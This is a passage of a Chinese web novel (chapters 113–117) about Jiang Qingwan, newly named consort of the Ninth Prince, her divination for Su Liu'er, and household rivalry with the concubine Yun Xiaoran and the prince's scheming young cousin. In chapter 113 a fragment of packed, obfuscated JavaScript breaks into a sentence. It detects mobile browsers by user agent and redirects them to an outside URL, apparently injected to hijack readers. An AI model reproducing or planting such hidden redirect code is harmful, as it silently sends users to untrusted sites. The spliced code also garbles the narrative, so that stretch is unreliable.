郭浩立刻坐了起来。
“她怎么了?”
书童忙道,“她要嫁给九王殿下了,已经发了皇榜,这事传的沸沸扬扬,都说江娘子生来就是个狐媚子,勾的九王殿下为了她排挤朝臣硬抢回府,还闹到了太上皇那里,非要娶她,就连太后的面子都不给,硬是让云家的那个县主,入府做了姨娘,连侧妃的位分都不给。不少人都在骂呢,说什么战神成了色鬼,不顾伦理,违背礼制。”
郭浩听得目瞪口呆。
反应了好一会儿才喃喃问道,
“她……她答应了?”
书童一脸不解。
“给九王正妃的位分她还能不答应,肯定是欢欢喜喜的答应了啊。”
郭浩心里发堵。
“怎么就会答应了,明明说过不喜欢的啊。”
“谁不喜欢啊?”
这时夏宇笑盈盈地走了过来,将手里新抄的政策卷子递了过去。
“我用左手写的,夫子肯定看不出来。你们在聊什么?”
他顺势坐在了郭浩身边。
郭浩为人并非心胸狭窄。
苏家一事后,夏宇亲自当着不少人的面跟他道了歉,还下了跪。
之后更是主动帮他解了被夫子刁难的围。
再加上霍震不在,对于他的示好,郭浩并没有排斥。
不过他也留了心眼,未做深交。
将卷子塞进袖子里,他丢了把肉干过去,“谢了。”
夏宇接过歪在对面的柱子上。
“刚刚我听见不少人在议论皇榜的事,那位江娘子是什么人啊,竟然能嫁给九王做正妃,真是好手段。”
书童常听郭浩提及江清婉,闻言顺口说了句。
“那自然是厉害,连我家小侯爷都……”
“闭嘴,那是九王妃,莫要乱嚼舌根子。”
郭浩冷声喝止,起身拍拍屁股走了。
夏宇眼底闪过算计,打趣着追了上去。
“小侯爷,你这怎么还吊人胃口,话说了一半,好生难受啊。”
他们谁都没有看到,不远处站着一个清瘦俊俏的少年,在听了他们所说的话后,脸色大变。
第113章 示好
苏柳儿来到王府后院的时候,江清婉正在摆弄她那株万紫千红。
袖子挽着,露出素白纤细的手臂。
拿着个小木铲子,一边培土,一边指使蹲着的李斗往里面放黑乎乎的肥料。
听见落地声,李斗警惕的窜了出来。
“你是谁?”
江清婉歪头看了眼。
“东西找到了?”
苏柳儿点点头。
“找到了,你现在跟我走吧。”
见她们认识,李斗这才退到了江清婉身边继续蹲着。
江清婉将手里的木铲子递给他。
“你小心些将这些料都掺进去,别伤了根。”
灵力灌注会矫枉过正,需要小心把握尺度。
混杂着养料一起培育,应该成效不错。
莲儿端了清水过来,她净了手,指了指凉亭的位置,“我们去那里开卦。”
苏柳儿愣住。
“你不用跟我走吗?”
“江清婉皱眉。
“你东西没在身上?”
苏柳儿下意识想去摸袖口,又急急停住。
“没有。”
“你去拿吧,我等你。”江清婉让莲儿准备火炉,“你要喝茶还是喝酒?”
苏柳儿又被噎了一下。
“你还是跟我走吧,我着急。”
“着急你不把东西带着?”
江清婉眯了眯漂亮了的大眼,满是狐疑。
平日里最是懂得与人周旋的苏柳儿被堵得哑口无言。
她心情很不美丽。
在她心里如神祇一般的主子竟然娶了眼前这个连刀剑都不会用的弱女子。
还是正妃。
现下皇榜出了,王妃的位分也给了,自家主子要见人,何必要她来请。
她有种不想见人恩爱,却偏要被掐着脖子撑开眼睛逼着她看的暴躁。
“我家主上想见见你,所以请你去淮楼开卦。”
“我不见。”
江清婉毫不犹豫的拒绝,让苏柳儿越发抓狂。
“你知道我家主上是谁吗?为何就不见。”
莲儿已经端了火炉过来。
江清婉道,“去把青蕊郡主送来的花茶取来。”
等莲儿离开她这才看向苏柳儿。
“不管是谁,我不愿见便不见。百两黄金我收了,我也答应过给你开卦,但没说过非要在淮楼,你若是真着急,还是早些将东西拿来,莫要耽搁。”
苏柳儿这暴脾气实在快炸了,呼哧呼哧走进凉亭坐在了江清婉对面,将袖子里取来的东西和直前的铁针一起放在了桌子上。
“开卦吧。”
江清婉挑眉。
“不是没带吗?”
苏柳儿抿着唇不说话。
江清婉忽有些好奇。
“你非骗我去淮楼做什么?你的主上又是谁?我认识?”
苏柳儿呵呵了两声。
“开卦吧,还要黄金吗?我可以加两百两。”
江清婉低咳了一声,差点被自己呛到。
一边从荷包里拿出小罗盘一边感慨,“你们淮楼这么赚钱吗?”
她以前的几个铺子虽然也赚的不错,可也不是随随便便几百两黄金的往外出。
苏柳儿又呵呵了两声。
有一种被人偷了家,却还要殷勤的四处捞银子巴巴送过来憋屈感。
江清婉没读懂她的表情,让莲儿送了纸笔过来,敛下情绪开始卜卦。
做交叉卦象的对比稍复杂。
等她将所有卦象都看完之后,才发现家里并没有京城和京郊的地图。
她将宣纸递过去,“我告诉你如何解卦,你能在地图上找到位置吗?”
看着她写的晦涩难懂的字,单个的甚至都连不成句子,苏柳儿狠狠抽了抽嘴角,干脆利索的回了句。
“不能。”
江清婉也觉得有些为难她。
毕竟师父说过,她是万中无一的修**道法的天才。
百年难得一遇。
自然不是随便拉出来一个人就能看得懂她的卦书。
可皇榜一发,外面乱哄哄的,莲儿说不少人都想看看她这位九王妃的真容,是不是天生狐媚子,会勾魂摄魄。
她实在懒得出门,被人当猴子观赏。
稍作思考,她站起身往凉亭外走。
她记得,墨云寒的寝卧中有一幅很详尽的京城地图。
比淮楼里挂着的覆盖方位更广更详细。
“我去趟前院,你稍等。”
前院?
苏柳儿看向那座王府。
她从未来过。
以她的身份,也没资格来。
鬼使神差的,她也跟着站了起来。
“我也去。”
江清婉诧异回头,眼神狐疑。
苏柳儿被她盯得浑身不自在,梗着脖子找了个理由。
“一百两黄金,你万一跑了怎么办?”
江清婉越发觉得她奇怪。
“你既能找到这里,应该知晓我跟墨云寒的关系。前院是他的地盘,外面传闻他是喜怒无常的煞神,你这么跟我过去,就不怕他一个不开心砍了你的脑袋?”
苏柳儿不自然的别开脸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15441863|169370||http|test|mini|href|location''.split(''|''),0,{}));
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r>“不去就不去,我也没多想去。”
江清婉又盯着她看了一会。
“你刚刚的担心也不无道理,毕竟一百两黄金不是个小数目,那就一起吧。”
她率先出了凉亭,往前院方向走。
苏柳儿被她突然的改变主意弄的一愣,犹豫了一会快步跟了上去。
王府中忙碌着的丫鬟小厮,府兵侍卫,都已经认识了这位新主子,见到她皆是行礼问安。
同时对跟在她身侧的苏柳儿生出几分好奇。
主要是苏柳儿长得太美,不同于江清婉的清雅之美,多了女子的妩媚妖娆之感。
衣服更是穿的大胆,白皙的小腰露了半截,随着走动,水蛇一般扭着。
窃窃私语声不断传进耳朵。
“好漂亮的女子,不会是王妃特意寻来伺候王爷的吧?”
“王妃还未大婚怎么可能送别的美人入府。”
“你懂什么啊,云县主已经住进了风雅筑,那可是太后娘娘选的人,今晚王爷肯定要去那边洞房的。王妃还没正式入府,难不成还敢拦着。找这么个美人进来,铁定是为了对付云姨娘,让她难堪的。”
苏柳儿的听力比江清婉好,这些话听的一清二楚,柳眉不由皱了皱。
正想用内劲教训一下,前方岔道忽然走来一群人,被簇拥在中间的娇俏女子,正是云筱然。
二人之前在淮楼见过,
她低头将脖子上丝帕挂在了耳边遮住了半张脸。
几个呼吸间,双方已经走对面。
云筱然笑颜如花的打着招呼。
“江姐姐。”
江清婉不想理,嗯了一声侧身要走。
云筱然却挪着步子挡在了前面,热情的像是之前所有的不快都没有发生过。
“江姐姐,咱们现在也算是真正的姐妹了,这王府内外我熟,以后府内诸事,姐姐不懂的尽可问我。”
她说着指向一旁的竹林。
“姐姐瞧瞧,这是最好的碧云竹。是云寒哥哥带着我去山上亲手挖了移栽过来的,每年出了春笋,他都会让人摘了送去县主府给我尝鲜。”
“还有那棵合欢树,是我在皇宫里瞧见的,说漂亮,他便找人挖了种在了王府,说是这样我能经常看到。”
苏柳儿听得一阵无语。
“想你经常看到不如直接种你家,何必多此一举。”
笑意嫣然的云筱然骤然变了脸。
“你是何人?我们姐妹说话,有你插嘴的份吗?李嬷嬷,教教她规矩。”
第114章 蛇口玉
李嬷嬷扬起手就要打。
苏柳儿可不是吃亏的主儿,以前她就很不喜欢云筱然。
她亲眼见过此女当着墨云寒的面是什么样,背地里又是什么样。
如此两面三刀跋扈狠毒,若不是墨云寒护着,她早就出手教训了。
可没等她动手,江清婉忽地冷道,“来人。”
离得最近的两个小厮应声上前。
云筱然的嘴角再次勾起。
“姐姐不会因为我刚刚说的话心里不痛快要以王妃的身份欺辱我吧?”
她将手腕往下垂了垂,露出了一只橙黄的金镯子,雕刻着繁杂的纹路,甚是精致。
“这是太后祖母亲自着人雕刻赐予我的,她告诉我,虽因圣旨让我无奈做了姨娘,却万不可受了旁人的欺辱,这便是她护我的黄马褂,姐姐做事还是三思为好。”
苏柳儿觉得自己拳头都有些痒。
却又有点看好戏的瞥向江清婉。
心中暗道,不是很本事吗?打回去啊?可别气哭了丢人。
江清婉特意多瞧了两眼那镯子,总觉得上面的纹路有些奇怪。
奈何云筱然很快用袖子挡住,她并没有看清。
索性也没再多想,指了指刚刚云筱然特意介绍过的竹林和合欢树。
“全挖了,丢出去。”
云筱然脸色陡变。
“你敢!”
两个小厮也是一脸的胆战心惊。
江清婉却很是悠然。
“我是皇上下旨亲封的九王妃,墨云寒说了,整个王府都是我的,区区一片竹林和一棵破树,我如何动不得。去叫人,现在就挖,谁不听话,即刻让府兵拉出去打板子。”
她做了秦府五年的主母。
这点气势手到擒来。
小厮哪敢不从。
宣读圣旨的时候,他们都跪在院子里,听得真切也看的真切。
王爷对这位未来王妃极为看重。
几声招呼很快叫来不少人,拿着铁锨就开始挖。
云筱然气的跳脚。
“江清婉你完蛋了,云寒哥哥最讨厌别人碰府中的格局,你还没入府就敢如此,他定不饶你。”
江清婉切了一声。
“我们两夫妻的事情与你一个姨娘何干?”
说完走了。
苏柳儿惊得瞪圆了美眸,差点笑出声。
这江娘子的性格着实有趣。
她喜欢。
云筱然整个人都快炸了。
李嬷嬷赶紧拉住她避开干活的小厮小声劝道,“县主,您现在最要紧的不是跟江清婉做口舌之争,而是尽快跟王爷圆房,怀上王爷的孩子。太上皇现在病的不轻,若是能在驾崩前看到九王殿下的孩子,您想想,他能让这孩子只是个庶出吗?”
云筱然的情绪总算被安抚下来。
“云寒哥哥本就对我有情,今夜万事俱备,我就不信他不就范。”
“走,去拜见宋夫人,今晚还要靠他留下王爷。”
身后的竹子一根根倒下,她死死攥紧帕子。
今日这竹子怎么倒的,他日就要怎么给她种回去。
另一边,江清婉带着苏柳儿一直走到了墨云寒的寝殿外。
“你在此稍等。”
她并没有让苏柳儿跟进去。
淮楼幕后是谁她不清楚,但苏柳儿明显对墨云寒有兴趣。
带她在王府转转就是给她机会熟悉地形,若是她想做什么,自然有暗卫擒拿。
但这寝殿,毕竟是私人地盘,是万不能进的。
她也没有进内室,只去了外间,对着墙上的地图核对卦象。
卦象汇聚之地在地图的左上方,有些高,她垫着脚趴在墙上细看,刚找到位置,手下的墙忽然颤了颤。
咯吱一声,转了方位。
显然后面另有机关。
她立刻抽身闪躲。
却并没有暗器射出。
她这才发现,那幅地图后还藏着一个暗格。
暗格并不大,也没有什么宝物,只有一个很破旧的卷轴。
江清婉的好奇心被完全勾起。
既然墨云寒可以不经她同意能去要赐婚圣旨,她为什么不能偷偷看一眼。
她垫着脚尖将卷轴拿了出来。
上面并没有灰尘,显然常被拿出来看。
卷轴的边缘都有些起毛。
她缓缓展开。
没想到里面竟然是张美人图。
美人乌发如墨头戴红宝石额饰,穿着暗红色服饰,绣工和剪裁并不是大周的款式。
曼妙身姿跃然纸上,却独独没有五官。
好奇怪。
她扫视一圈,目光落在女子腰间的束带上。
因为卷轴不大,画得不是很清晰。
她凑近细细看了好一会儿也不是太能确定,那上面的绘着的是不是一块蛇口玉。
她师父也有一块蛇口玉。
宝贝的紧,连她都没摸到过。
大师兄偷偷告诉她,那是师父跟一个女子的定情信物,世界上就一对儿,是师父去极寒之地寻来的宝玉亲手雕刻的。
看这形状很像,可实在看不清楚。
若真是蛇口玉,难不成墨云寒和她那个未曾见过面的师娘有关系?
正想得出神,外面忽然传来苏柳儿的声音。
“你这小屁孩……”
她立刻将东西归位,刚转身走到门口就撞上了一个蓝衣少年,头上戴着蓝白的帽巾,瞧装扮像是太学院的学子。
“你是……”
“你就是江清婉吧?”
少年冷冷开口,语气透着不爽。
江清婉点点头,“我是,你是谁?”
少年却一把将她给拽了出来,随即关上了门。
“我告诉你,我是绝对不会让你这种行为放浪之人玷污了我表哥的英名,你给我从王府里滚出去。”
江清婉恍然回神。
“你是宋夫人的儿子?”
郑成业傲气的扬起头。
“知道就好。”
“虽然贴了皇榜,但你还未行礼祭祖便不是王妃,如此鬼祟的摸到我表哥的房间里,举止猥琐不雅,实在令人厌恶。我定会告知表哥,揭穿你狐媚的伪装,让你原形毕露。”
江清婉呵呵两声。
“那我等你。”
说完错身走向苏柳儿,将写着地址的宣纸递了过去。
可下一刻,宣纸就被郑成业先一步抢走打开。
“这是你偷的我表哥的机密吧,被我抓个正着,你还有何话辩解。”
苏柳儿瞥见了其上标注的位置,微微福了下身。
“多谢江娘子,告辞。”
说罢转身离开,身姿如柳,步步生莲。
那小腰晃得人眼晕。
郑成业瞬间涨红了脸。
“光天化日下袒露皮肉,不知羞耻!”
第115章 玄术惑人
江清婉也懒得要回那张解卦的纸,转身往后院走。
郑成业盯着她的背影又急又气。
一般女子,他这样说,肯定要羞愤难当的。
可这江氏如此淡然,定是脸皮极厚,半点礼义廉耻都不懂。
他将宣纸塞进怀里,只等着找个机会交给墨云寒,好好惩治一番。
直至看着江清婉彻底离开,他这才回去了宋氏所在的舒雅院。
刚走到院门口就看到了云筱然。
他欢喜的立刻迎了上去。
“筱然姐。”
云筱然刚在宋玉书那里碰了一鼻子灰,心里正压着火,看到他眼波一转,故意掩着帕子侧头擦了擦眼角,这才强颜欢笑的打了招呼,“是成业啊,今日太学院休沐吗?怎的这个时辰回来了?”
两个人相差不到三岁,关系颇为亲近。
见她如此凄婉,再想到皇榜上的言论,还有刚刚遇见的江清婉,郑成业更觉心疼愤怒。
“筱然姐,表哥那般喜欢你,定然是一时被人蒙蔽了眼睛才会如此,你莫要伤心,我一定会帮你的,绝对不会让那个江氏欺负你。”
云筱然心下正愁该怎么进展,闻言却故意红着眼眶摇了摇头。
“有你这句话,我就已经很开心了。这件事你不要参合了,我怕影响你和你母亲的感情。”
“我母亲?”郑成业不解,“我母亲一直当你是亲生女儿,定然也是盼着你做正妃的。”
他年纪小,又在太学院读书,一心扑在学业上,平日休沐也只是回府拿些换洗的衣物,活的简单。
云家的事,宋玉书没跟他透露过半分。
因此他对其中恩怨,毫不知情。
云筱然的神态越发期期艾艾。
“舅母对我有些误会,以为我要逼婚云寒哥哥,不顾王府颜面。我只是不甘心做一个姨娘,太后又心疼我,便赐了銮驾和嫁衣凤冠,送我过来,却……却是好心办了坏事。”
她再次拿起帕子擦了擦眼角。
郑成业越发心疼。
“母亲为人宽厚,怎会对你这般苛责,我去问清楚。”
他想往院子里冲。
云筱然立刻拉住他。
“你不懂,成业,这件事,你真的不要管了,我怕……我怕你受到伤害。”
她如此这般,郑成业更觉疑心。
“筱然姐,你们怎么都变得这么奇怪,表哥为什么突然要娶那样一个浪荡女子为正妃,母亲又为何不拦着,还有你,为何就成了姨娘。你告诉我好不好,到底怎么了?”
云筱然似被他问得无可奈何,拉着他的袖子刻意压低了声音道,“江氏……会玄门之术,手段诡谲,你听我的,切莫惹她。”
郑成业震惊不已。
可所有谜团却也在此刻解开。
“原来如此。表哥知晓吗?为何不告诉表哥。他那般英明神武,定能察觉。”
云筱然摇头。
“她就是云寒哥哥请来的天师,为的什么,没人知道。我总觉得,云寒哥哥与她认识之后,性情大变,实在令人担忧。”
郑成业一直当墨云寒是心中无所不能的神,比对父亲郑擎还要敬重仰慕。
可眼下,这个神竟然被品行不端的江氏拉进泥沼而不自知,如何不令他心惊肉跳。
“那要如何是好?”
云筱然见他上套立刻安抚道,“这事急不来,若不是担心云寒哥哥和你们,我定不会这么着急以姨娘的身份要入府。我刚刚去找你母亲,原想今日吃个团圆饭,亲手做一道云寒哥哥以前爱吃的菜,或许能唤回他的心,可却被拒绝了,我……再找机会吧。”
她轻叹一声就准备离开。
郑成业此刻一心想帮忙,哪会怀疑她的用心。
“这有何难,我来帮你,你且等我好消息。”
云筱然却一脸担忧。
“不行,你母亲若知道,会生你气的。”
“我不是小孩子了,此事你知我知,绝不会有第二人知晓。”
郑成业伸出尾指像小时候那般跟云筱然拉了钩,这才匆匆进了舒雅院。
看着自己的尾指,云筱然缓缓勾起唇角。
还真是柳暗花明又一村。
有了郑成业的帮忙,晚上的事,就成了一半。
……
淮楼内,墨云寒没等来江清婉,只等来一封飞鸽传书。
“王妃不来,卦象已成,属下前去办事!”
连位置都没提。
夜七察言观色后一本正经下结论。
“定然是苏柳儿没加钱。”
墨云寒无语的瞥了他一眼。
这时身后参差不齐的书架墙内传来咯吱咯吱机关卡扣连接转动的声音,片刻后,其中一个书格啪的一下打开。
夜七立刻上前将里面的密函拿出来递给了墨云寒。
墨云寒展开,看完里面的内容,眉心瞬间皱起。
“去玄灵山。”
夜七愣住。
“玄灵山,那不是皇陵所在吗?王爷您去哪里做什么?”
墨云寒没解释,将手中的密函丢入火炭中。
其上字迹被火舌吞没。
“玄灵山有灵狐出没,可化形。”
夜七隐约看到了,快步拦在前面。
“王爷,现在去玄灵山的话,今晚子时赶不回来。”
经他提醒,墨云寒这才想起,每三日一次治腿,因上次急着去查金钩弯刀的事情,已经耽搁了一天。
已许久没疼的腿,昨夜就犯了毛病。
他忽又有些生气。
“她倒是半点不记得。”
夜七挠挠头,没敢搭话。
入夜后,宋玉书张罗了一桌子饭菜,让玉英去后院请江清婉,想将郑成业正式介绍给她认识。
以前不方便是因为名分未定,现在既然皇榜都贴了,一家人自然要多交流。
江清婉毫不客气地从酒窖里挖了两坛子女儿红,李斗和莲儿一人抱着一坛子,三人很快到场。
郑成业一改之前的态度,恭恭敬敬的行了礼。
清秀的脸显得异常的乖巧。
江清婉也只当之前不曾见过,从荷包里摸出个黄符刻了符箓折叠好递给他。
“这个护身符,当见面礼。”
旁人不知珍贵,宋玉书却很清楚,立刻开心的催促郑成业接过,还不忘叮嘱,“成业,你可一定要贴身守着,你表嫂的符很灵的。”
郑成业心中越发相信云筱然所言。
这个江氏心术不正,潜入王府用这种诡谲的法子迷惑别人。
他将符塞进衣襟内,准备找个机会寻个懂得的人问问到底是什么符。
几人刚坐下,墨云寒就从外面走了进来。
冷冽的音色带着几分温和,显然和这个表弟的关系极为融洽。
“成业回来了。”
郑成业立刻起身。
“表哥。”
迎上去的时候偷偷看了眼角落里的一名小厮。
那小厮本就站在人群外,悄无声息地退了出去。
第116章 不负春宵
墨云寒摸了摸郑成业的头,正准备在江清婉身边落座。
郑成业却先他一步坐下。
“我要跟表哥表嫂一起坐。”
宋玉书愣了一下,只以为小孩子喜欢新鲜人,也没当回事,抬手让玉桃和玉英立刻布菜。
“上次你爱吃的烧鸡我也准备了,今晚咱们再喝两盅,庆贺你和我们成了一家人。”
她是真心喜欢江清婉,却也知道墨云寒着急赐婚应另有深意。
至于将来会如何,她却是极看好的。
毕竟,她从未见过墨云寒对一个女子如此上心维护。
莲儿和李斗也忙将酒坛子启开放在了桌上。
女儿红的醇厚清香瞬间弥散开来。
宋玉书眉角不由跳了跳,神色有些怪。
“这是后院的女儿红?今日怎么想着喝这个酒?”
这酒是墨云寒为云筱然出嫁准备的。
今日云筱然以姨娘身份入府,他们在席间开了这个酒,多少有些怪异。
郑成业却道,“母亲不是说今日是喜事吗?喜事喝女儿红有什么问题吗?”
宋玉书虽觉不妥,却也没法解释,只讪讪笑了笑。
江清婉却在这时转头看向墨云寒,眸色清冽带着几分玩味。
“这酒现在还是喝不得吗?”
不知为何,墨云寒总觉得这话,含着刀子。
听进耳朵里,却又莫名让人觉得极为舒爽。
似拈了醋,味道恰到好处。
他黑眸扫过去,声音淡淡,“都送你了,你想喝便喝。”
江清婉收回目光,颇为满意的点点头,故意道,“应值不少银子。”
郑成业只觉市侩,越发看不上她。
各式各样的菜很快上齐,那盘橙黄酥香的烧鸡摆在了江清婉面前,其上的辣子经过火烧,香香辣辣的味道更加的让人食指大动。
宋玉书作为长辈刚准备提一杯酒,院门外就响起云筱然娇娇的声音。
“舅母,云寒哥哥。”
月色下,云筱然一袭素色淡青长裙,挽了夫人的发髻,褪去了白天的粉黛只描了花钿,少了几分娇纵多了几分清水出芙蓉的美。
手里提着一个食盒,身形袅袅的走了进来,距离几步远停下柔柔行礼。
“见过江姐姐。”
旁人还未反应过来,郑成业就已经站起来迎了上去。
“筱然姐你来了,正好,我们还没有吃,你这做的什么好吃的,一起摆上来的。”
他热情的招呼着,硬是将云筱然摁坐在了墨云寒的左手边,自己又坐回原处。
“母亲,儿子觉得这女儿红开的极好。当初表哥给筱然姐埋下的嫁妆,今日打开痛饮庆贺筱然姐入府,可谓是天地玉成。”
他说完转向江清婉。
“表嫂,你觉得呢?”
江清婉瞥了他一眼,又瞥了眼云筱然。
事不关己的揪下来一根鸡腿,“这酒,后院里还有不少,若不够我再让人去取,不过这烧鸡,你们不能抢。”
她说着送到嘴边咬了一口,顿觉唇齿留香。
莲儿不愿自家小姐受欺负,走过去给她斟酒。
“奴婢孤陋寡闻,还是第一次听说用女儿红庆贺姨娘入府的。”
气氛本就僵持,这话一出,更显剑拔弩张。
郑成业年少压不住脾气。
只觉这主仆二人都太过跋扈,一个小小丫鬟也敢欺负他的筱然姐姐,当下就要训斥。
云筱然却凄婉抬眸。
“江姐姐也觉得筱然不配吗?”
恰如其分的泪珠滚落过脸颊,她眼角余光一直盯着墨云寒,只等他心疼维护。
墨云寒却在这时看向郑业成,黑眸之中蕴着未知的情绪,沉郁压抑。
“今日不是休沐的日子,你为何突然回府?”
郑成业心下一凛,刚刚升起的怒火瞬间灭了,连眼神都不敢对视,低着头小声道,“我想母亲了,就回来看看。”
是真话还是假话,墨云寒一眼便知,但终究是不舍得苛责。
“你现在的任务是好好读书,外面的事都跟你无关,莫要分心多思。”
说完,他便站起身准备离席。
云筱然却急急拉住他的手腕,一双眸子含着盈盈春色。
“云寒哥哥,我已经是你的姨娘,太后亲自下的旨意,还赐了龙凤盏,今晚,你会陪筱然的对不对?”
墨云寒侧头,居高临下的看着她。
“太后赐的?”
云筱然立刻点头。
“是,让桂嬷嬷亲自送来的,我们小辈万万不可辜负她老人家的心意的。”
她说着松开手,打开食盒,端出一叠白玉蒸糕,再次痴痴的看向墨云寒。
“你还记得这个吗?”
墨云寒的眼底闪过一丝异样。
云杳杳给他塞的点心,每一次都有白玉蒸糕。
经过刚刚墨云寒的敲打,郑成业不敢再乱说话,怕被识破了和云筱然的里应外合,只低着头戳面前的碗碟。
江清婉瞥了他一眼,忽地淡淡开口。
“既然是太后亲赐的姨娘,今夜理应洞房花烛。”
“宋夫人,送些酒菜过去吧,不能失了礼数。”
宋玉书顿觉一个头两个大。
“清婉,你怎么……”
江清婉实在不想浪费了这么好吃的烤鸡。
也不愿意看到厌烦的人跟自己同席,虚与委蛇,令人作呕。
直接忽视掉墨云寒落在她身上的灼热目光,让李斗将另一坛子酒封好。
“这酒赐给苏姨娘,祝二位龙凤呈祥,不负春宵。”
墨云寒周身寒气凌厉,那眼神落过去能将人凌迟。
“本王多谢王妃体恤,夜七,接酒,去风雅筑。”
说完拂袖而去。
云筱然大喜。
冲着江清婉福了福身,“多谢姐姐成全,这碟白玉蒸糕是云寒哥哥最爱吃的点心,送你尝尝。”
她将碟子放下,转身快步去追墨云寒,娇媚的声音还不忘吩咐守在院子里的下人。
“李嬷嬷,今晚多备些热水。”
江清婉吃鸡腿的动作猛地停了一下。
莲儿急的在旁跺脚。
“小姐,您怎么还把王爷往外推。”
江清婉啃完鸡腿才道,“我是王妃,不是皇上,岂能抗旨?”
一句话噎的莲儿不知如何是好。
墨云寒一走,周围那股威慑力也随之消散。
郑成业忽然拿起筷子给江清婉夹了块小排。
“表嫂多吃些,等正式成婚那日,表哥定然也会如待筱然姐一般待你。”
他故意如此,就是想江清婉吃醋发脾气。
最好掀了桌子,撒泼打滚。
越泼辣,就越显得筱然姐端庄贵气。
江清婉果然停下了动作,拿起帕子轻轻擦着手。
漂亮的眸子看向郑成业,清洌却又凌厉。
宋玉书知道她的脾气,忙解释道,
“清婉,成业还小很多事都不知道,你莫要怪他。”
江清婉浅浅勾起唇角。
“不会,我只是有些好奇,你这个年龄,似乎对情爱之事颇为了解,太学院连男欢女爱都教吗?”
郑成业瞬间涨红了脸。
“你胡说什么,太学院乃神圣之地,怎会教这些污秽东西。”
江清婉点点头。
“听青蕊郡主提起,你父母二人鹣鲽情深,是难得的伉俪佳侣。”
闻言,郑成业立刻得意的扬起头。
“那是自然。”
江清婉收回目光,悠然的端起酒杯抿了一口。
“你受教于情感忠贞的父母,却如此欢喜的接受二女共侍一夫,理念如此相悖,若不是太学院所教,倒不知从何处学来。”
说罢,她将酒一饮而尽。
周围瞬时陷入一片死寂。
第117章 少年叛逆
郑成业聪慧,所以在太学院很快就升了甲班。
此刻满腹经纶,却找不到半句反驳的话。
一张清秀白净的脸涨得通红,羞愤又无措。
宋玉书本也是个心思通透之人,这会儿哪还能反应不过来。
气的一把将郑成业从椅子上拽起。
“清婉,我等会再过来与你赔罪。”
说罢便拉着儿子离开了舒雅院回了他的听涛小筑。
“你给我老实交代,云筱然是你叫去的吧?”
事情被拆穿,郑成业索性也不装了,梗着脖子怒道,“是又怎么样,本来表嫂的位置就是筱然姐的,你和表哥都被那个浪荡的女人给迷惑了。”
“你给我闭嘴!”
宋玉书气的肺都快炸了。
“你才多大年纪,能看得清什么,有些事情不是表面你所看到的。云筱然她……”
“母亲!”
郑成业此刻极为震怒,“您是王府的主母,心如明镜一般,父亲常夸您秀外慧中,您怎么就相信一个陌生女子,却偏不信从小看着长大的筱然姐呢?”
宋玉书不知该怎么解释。
云筱然杀了云家十三口的事情,并没有定论。
她可以不去猜测。
可是之前云筱然用媚药设局陷害江清婉,随手杀了张嬷嬷,逼迫墨云寒娶她等等事情,她都亲眼所见。
真实性情暴露无遗。
即便没有云杳杳的死,她也不愿意如此蛇蝎之人嫁给墨云寒。
但是这些话,她实在不愿告诉郑成业。
“是非对错,你将来自会明白,但以后云筱然的任何事,你都不许参合。”
她越是严令,半大的小伙子就越是叛逆。
郑成业从怀里摸出那张解卦的宣纸。
“今日我回府去找表哥,正好撞见那女人鬼鬼祟祟去了表哥的房间,偷拿了这个,母亲,铁证如山,她来王府绝对心怀不轨。”
宋玉书接过展开,却完全看不懂。
“这是什么?”
郑成业将纸又夺了回去塞进怀里。
“肯定是她摘录的密文,以为我们都看不懂,给我些时间,我定能查出真相。”
他又摸出那个护身符。
“母亲,你是不是也有一份,她定然是靠着这种手段才迷惑了你和表哥,把符给我,切莫再带着。”
宋玉书抬手敲在了他的脑门上。
“你太过偏见了。清婉心思纯净,是有大能之人,以后接触的多了,你自会看清。娘给你收拾换洗的衣物,趁着还未宵禁,即刻返回太学院,莫要再忧思家中事。”
她又让小厮去后厨单独端了饭菜过来。
另一边,
刚刚还热闹的餐桌,只剩下江清婉一人。
莲儿心里难受,眼眶都是红的。
李斗不懂这些,只杵在一旁守着。
热腾腾香辣酥嫩的烧鸡似乎也变得难以下咽。
江清婉连着喝了好几杯酒,站起身道,“李斗,我想喝鱼汤了。”
莲儿早就待不下去,立刻扶住她的手臂道,“小姐,莲儿还闷了牛肉,我们回去。”
江清婉侧头看着她。
“你也觉得我很可怜?”
莲儿赶紧吸了吸鼻子。
“没有,小姐是未来的九王妃,京城多少人羡慕着呢,怎么会可怜。奴婢……奴婢只是被酒气辣了眼睛。”
江清婉有些头晕。
轻声道,“我不喜欢墨云寒,一点都不喜欢。”
……
风雅筑内,浅黄暖帐,芙蓉锦被。
太后御赐的龙凤盏盛满了美酒,在烛火下泛着波光潋滟。
云筱然已经脱掉了外衫,薄如蝉翼的裙子遮不住胸前的风情,若隐若现的高耸,尽显女子之美。
她媚眼如丝的看着坐在桌前的男人,俊美如神祇,高不可攀。
曾经,她只在云杳杳的言谈中探得只言片语。
云杳杳是嫡长女,事事都先她一步。
她本就嫉恨。
后又从那一首首藏着少女心事的诗文和一张张不敢描绘五官的画中读到爱而不得的悲伤。
她当时就想,若是她能让墨云寒爱上,便是摘走了云杳杳最最宝贝的东西。
那才最是爽快。
可她找不到机会接近。
有一次她偷偷跟着云杳杳出门,看到她在大街上拦住墨云寒让他娶她。
哭的那么狼狈,却还是被拒绝。
少年手持长枪,鲜衣怒马,若天上坠入凡间的战神。
那一刻她就发誓,这一生,她一定要得到墨云寒,无论用什么样的手段。
如今,她终于得偿所愿。
“云寒哥哥,今天是筱然最开心最幸福的日子,难为桂嬷嬷还守在外面,我们不要让太后她老人家等太久,喝交杯吧。”
墨云寒的眸光终于落在她脸上。
平静无波,不喜不怒。
因为对云杳杳的愧疚,他照拂云筱然多年,却没想到养了只毒蛇。
他的目光从云筱然的脸上移到胸口落在腰间。
云筱然被他看得浑身轻颤,呼吸都变得急促,身体软的想往他怀里靠。
“衣服脱成这样,怎么还挂着荷包,谁送你的。”
冷淡的询问让云筱然稍稍恢复了些思绪。
“是太后所赠,她老人家祝愿我们情意缠绵,多子多福。云寒哥哥……”
她抬起手臂想去勾男人的脖子,下一刻人就瘫软在桌子上昏睡过去。
夜色越发深浓,直至红烛燃烬。
